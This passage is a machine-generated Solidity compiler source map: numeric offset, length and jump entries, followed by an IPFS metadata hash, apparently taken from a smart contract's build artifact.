2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4588:356::-;4790:2;4772:21;;;4809:18;;;4802:30;4868:34;4863:2;4848:18;;4841:62;4935:2;4920:18;;4588:356::o;5301:251::-;5371:6;5424:2;5412:9;5403:7;5399:23;5395:32;5392:52;;;5440:1;5437;5430:12;5392:52;5472:9;5466:16;5491:31;5516:5;5491:31;:::i;6478:306::-;6566:6;6574;6582;6635:2;6623:9;6614:7;6610:23;6606:32;6603:52;;;6651:1;6648;6641:12;6603:52;6680:9;6674:16;6664:26;;6730:2;6719:9;6715:18;6709:25;6699:35;;6774:2;6763:9;6759:18;6753:25;6743:35;;6478:306;;;;;:::o;7068:277::-;7135:6;7188:2;7176:9;7167:7;7163:23;7159:32;7156:52;;;7204:1;7201;7194:12;7156:52;7236:9;7230:16;7289:5;7282:13;7275:21;7268:5;7265:32;7255:60;;7311:1;7308;7301:12;10565:125;10630:9;;;10651:10;;;10648:36;;;10664:18;;:::i;11050:135::-;11089:3;11110:17;;;11107:43;;11130:18;;:::i;:::-;-1:-1:-1;11177:1:1;11166:13;;11050:135::o;11190:128::-;11257:9;;;11278:11;;;11275:37;;;11292:18;;:::i;11811:127::-;11872:10;11867:3;11863:20;11860:1;11853:31;11903:4;11900:1;11893:15;11927:4;11924:1;11917:15;11943:980;12205:4;12253:3;12242:9;12238:19;12284:6;12273:9;12266:25;12310:2;12348:6;12343:2;12332:9;12328:18;12321:34;12391:3;12386:2;12375:9;12371:18;12364:31;12415:6;12450;12444:13;12481:6;12473;12466:22;12519:3;12508:9;12504:19;12497:26;;12558:2;12550:6;12546:15;12532:29;;12579:1;12589:195;12603:6;12600:1;12597:13;12589:195;;;12668:13;;-1:-1:-1;;;;;12664:39:1;12652:52;;12759:15;;;;12724:12;;;;12700:1;12618:9;12589:195;;;-1:-1:-1;;;;;;;12840:32:1;;;;12835:2;12820:18;;12813:60;-1:-1:-1;;;12904:3:1;12889:19;12882:35;12801:3;11943:980;-1:-1:-1;;;11943:980:1:o;12928:217::-;12968:1;12994;12984:132;;13038:10;13033:3;13029:20;13026:1;13019:31;13073:4;13070:1;13063:15;13101:4;13098:1;13091:15;12984:132;-1:-1:-1;13130:9:1;;12928:217::o

ipfs://8fc9ddfa49e57ef41c9bd5918fb367708cbdc0b8da16426a3d1a90bc3fa22a50